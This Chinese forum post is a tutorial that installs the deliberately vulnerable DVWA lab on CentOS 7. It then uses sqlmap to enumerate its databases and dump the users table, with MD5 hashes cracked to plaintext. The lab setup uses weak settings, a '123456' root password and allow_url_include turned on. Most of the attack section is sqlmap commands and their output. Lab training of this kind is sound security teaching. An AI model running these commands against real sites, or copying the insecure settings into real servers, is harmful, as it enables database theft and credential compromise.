阿尔海南粉 发表于 2019-4-17 16:18:08

CentOS 7 通过SQLmap进行SQL注入

  安装SQLmap: IP:a.b.c.d
  ***测试演练系统DVWA: IP:a.b.c.d
  通过SQLmap检测SQL注入漏洞 :
  1.安装SQLmap漏洞查看工具
  2.安装***测试演练系统DVWA
  3.使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码
  sql注入概述:
  所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
  它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库
  比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式***
  比如 :12306.cn帐号和密码泄露
  什么是SQLmap?
  SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)
  官方网站下载 : http://sqlmap.org/
  安装sqlmap
  pipinstall sqlmap
  测试
  sqlmap--help
https://s1.运维网.com/images/blog/201903/25/5fb53e5f3c582022b9d474b71aff4861.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
  DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞
  官方网站:链接地址:http://www.dvwa.co.uk   网站是英国的 ,有时候访问外国的网站可能会打不开
  安装测试演练系统DVWA
https://s1.运维网.com/images/blog/201903/25/37f877dc50424c1a103f7e334053ebec.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
  快速部署DVWA测试环境 , 搭建一个安全系数较低的网站
  # yum install -y httpd mysql-server mysql php php-mysql php-gd
  # systemctl start httpd
  # systemctl start mariadb
  php-gd库:gd库是php处理图形的扩展库,gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。 在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表及验证码
  测试LAMP环境
  # vim /var/www/html/info.php
  
https://s1.运维网.com/images/blog/201903/25/fdef6710607f9a37b1148459131b09d2.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
  # mysqladmin -u root password "123456"
  # mysql -u root -p123456
  #将下载的dvwa***系统代码上传到Linux上 ,并解压到网页根目录下
  # unzip DVWA-master.zip -d /var/www/html/
  # ls /var/www/html/
  1.phpDVWA-master
  # chown -R apache.apache /var/www/html/DVWA-master/
  #编辑/dvwa/config/config.inc.php , 配置数据库信息 ,user和password是MySQL的用户名和密码
  #cp配置文件模板
  # cp /var/www/html/DVWA-master/config/config.inc.php{.dist,}
  # vim /var/www/html/DVWA-master/config/config.inc.php
  $_DVWA[ 'db_server' ]   = '127.0.0.1';
  $_DVWA[ 'db_database' ] = 'dvwa';
  $_DVWA[ 'db_user' ]   = 'root';
  $_DVWA[ 'db_password' ] = '123456';# 修改为mysql的root密码
  部署DVWA网站系统
  在浏览器中输入:http://ip/DVWA-master/setup.php
  解决环境问题
  # vim /etc/php.ini
  allow_url_include = Off把Off改为On
  # systemctl restart httpd
  后期登录:
  http://ip/DVWA-master/login.php
  dvwa的登录界面的默认用户名和密码为admin和password
  到这DVMA就部署完了
  接下来就开始SQL注入了
  SQLmap探测sql注入漏洞 :
  1.枚举登录MYSQL数据的用户名与密码
  2.枚举所有数据库
  3.枚举指定数据库的数据表
  4.枚举指定数据表中的所有用户名与密码
  语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等
  使用SQLmap之前我们得到需要当前会话cookies等信息,用来在***过程中维持连接状态,这里使用Firefox中名为“TamperData”的插件获取
  Tamper Data是一个用于跟踪和修改http/https请求和POST参数的扩展
  为方便演示,我们将DVWA安全等级设置为low
  接下来该轮到SQLmap登场了
  # sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' -b --current-db--current-user
  使用选项:
  1、--cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”
  2、-u : 指定目标URL,syql注入点
  3、-b : 获取DBMS banner (DBMS:Database Management System    数据库管理系统)
  4、--current-db : 获取当前数据库
  5、--current-user :获取当前用户
  中间会遇到几个选项,一路选择y就可以了
  1.使用命令用来枚举所有登录msyql数据库的用户名和密码hash值,后期可以对密码hash进行破解,生成明文密码
  2.枚举系统中所有的数据库名
  3.枚举dvwa数据表
  4.获取dvwa库中users表的所有列名字
  5.提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来
  cookie 和 sql注入点永远不变
  ==================================步骤1============================================
  # sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' --string="Surname" --users --password
  使用选项:
  1、--string : 当查询可用时用来匹配页面中的字符串
  2、--users : 枚举DBMS用户
  3、--password : 枚举DBMS用户密码hash
  ==================================步骤2============================================
  # sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' --dbs
  使用选项:
  --dbs: 枚举DBMS中的所有数据库
  ===================================步骤3============================================
  # sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low'-D dvwa--tables
  使用选项:
  1、-D : 要枚举的DBMS数据库
  2、--tables   : 枚举DBMS数据库中的数据表
  ===================================步骤4============================================
  # sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low'-D dvwa-T users --columns
  使用选项:
  -T : 要枚举的DBMS数据库表
  --columns : 枚举DBMS数据库表中的所有列
  ===================================步骤5============================================
  提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来
  # sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low'-D dvwa -T users -C user,password --dump
  使用选项:
  -T : 要枚举的DBMS数据表
  -C: 要枚举的DBMS数据表中的列
  --dump : 转储DBMS数据表项
  SQLmap会提问是否破解密码,按回车确认
  尽管我们用的数据库中密码是经过md5加密的,但是sqlmap可以导出sql数据,帮你解析成明文密码
  查看导出的数据 :
  # cat /root/.sqlmap/output/ip/dump/dvwa/users.csv
  user,password
  1337,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
  admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
  gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
  pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
  smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)
  到这我们就利用SQLmap***到一个有漏洞的网站 , 并获得了后台管理员admin的账号和密码
  实例:
  实验 简单的sql注入
  链接:http://ctf5.shiyanbar.com/web/index_3.php
https://s1.运维网.com/images/blog/201903/25/a74c1efa32eb60e565ce981805ed26d8.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
https://s1.运维网.com/images/blog/201903/25/1caf92ace3e027b9ee21ae75626cf67f.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
https://s1.运维网.com/images/blog/201903/25/00a71c04fb2a25c2284577df22321642.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
https://s1.运维网.com/images/blog/201903/25/307884716a757f804fd4f81e783a5216.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
https://s1.运维网.com/images/blog/201903/25/c726224fb173364cdc61f3d359ffa786.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
https://s1.运维网.com/images/blog/201903/25/e82075b36bbc8e8e8a9e961b7f44f93e.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
  原文参考链接地址:
  https://www.cnblogs.com/bigdevilking/p/9420498.html
  https://blog.csdn.net/tututuo/article/details/80033868

页: [1]
查看完整版本: CentOS 7 通过SQLmap进行SQL注入